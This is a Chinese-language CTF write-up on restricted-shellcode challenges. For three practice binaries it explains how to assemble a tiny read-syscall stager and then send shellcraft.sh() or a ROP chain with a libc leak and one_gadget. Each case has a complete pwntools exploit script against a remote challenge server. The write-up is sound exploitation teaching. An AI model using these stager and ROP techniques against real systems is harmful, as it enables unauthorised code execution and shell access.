shellcode题总结
有时shellcode受限,最好的方法一般就是勉强的凑出sys read系统调用来输入shellcode主体。下面从几个题来加深理解。
starctf_2019_babyshell
现在shellcode字节允许的范围在表内
我们直接用IDA强制转为汇编,我们发现pop rdx、pop rdi、syscall可以用。
而执行shellcode时,正好eax也被设置为0
然后rsi正好也是指向shellcode
因此,read的系统调用所需的都俱全,构造出read系统调用输入shellcode主体即可。
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./starctf_2019_babyshell')
sh = remote('node3.buuoj.cn',25035)
shellcode = asm('''pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdi
pop rdx
pop rdi
syscall
''')
sh.sendlineafter('give me shellcode, plz:',shellcode)
sleep(0.5)
sh.send('a'*0xC + asm(shellcraft.sh()))
sh.interactive()
铁人三项(第五赛区)_2018_seven
限制7字节shellcode
并且执行到我们的shellcode时,rsp已经调整,寄存器也基本清空
由于栈调试,栈里没有合适的数据
此时,唯一的办法是先rsp指向的地方进行输入。然而7字节也算不够jmp rsp的。最多到syscall。由于开启了随机化,因此rsp和rip值哪个大是不确定的,当rsp在rip上方的时候,通过read,就可以覆盖到rip所指向的内存,覆盖为shellcode。因此,只需要多次尝试,总有一次rsp在rip上方附近的时候,就可以成功在rip后面的位置写入主体shellcode。
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./2018_seven')
sh = remote('node3.buuoj.cn',29741)
shellcode = asm('''push rsp
pop rsi
mov edx,esi
syscall
''')
sh.sendafter('Show me your shellcode:',shellcode)
payload = '\x00'*0xB36 + asm(shellcraft.sh())
sleep(0.1)
sh.sendline(payload)
sh.interactive()
鹏城杯_2018_treasure
通过构造shellcode,向栈里布置rop链
#coding:utf8
from pwn import *
context(os='linux',arch='amd64')
#sh = process('./2018_treasure')
sh = remote('node3.buuoj.cn',29793)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
elf = ELF('./2018_treasure')
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x00000000004009BA
pop_rdi = 0x0000000000400b83
pop_rsi = 0x0000000000400b81
sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向栈里输入rop
shellcode = asm('''push rsp
pop rsi
mov edx,esi
syscall
ret
''')
sh.sendafter('start!!!!',shellcode)
rop = p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
rop += p64(vuln_addr)
sleep(0.2)
sh.send(rop)
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']
one_gadget_addr = libc_base + 0x4f322
sh.sendlineafter("will you continue?(enter 'n' to quit) :",'Y')
#向栈里输入rop
shellcode = asm('''push rsp
pop rsi
mov edx,esi
syscall
ret
''')
sh.sendafter('start!!!!',shellcode)
sleep(0.2)
payload = p64(one_gadget_addr) + '\x00'*0x50
sh.send(payload)
sh.interactive()
因此,对于一些受限的shellcode,我们最好的办法是构造read系统调用。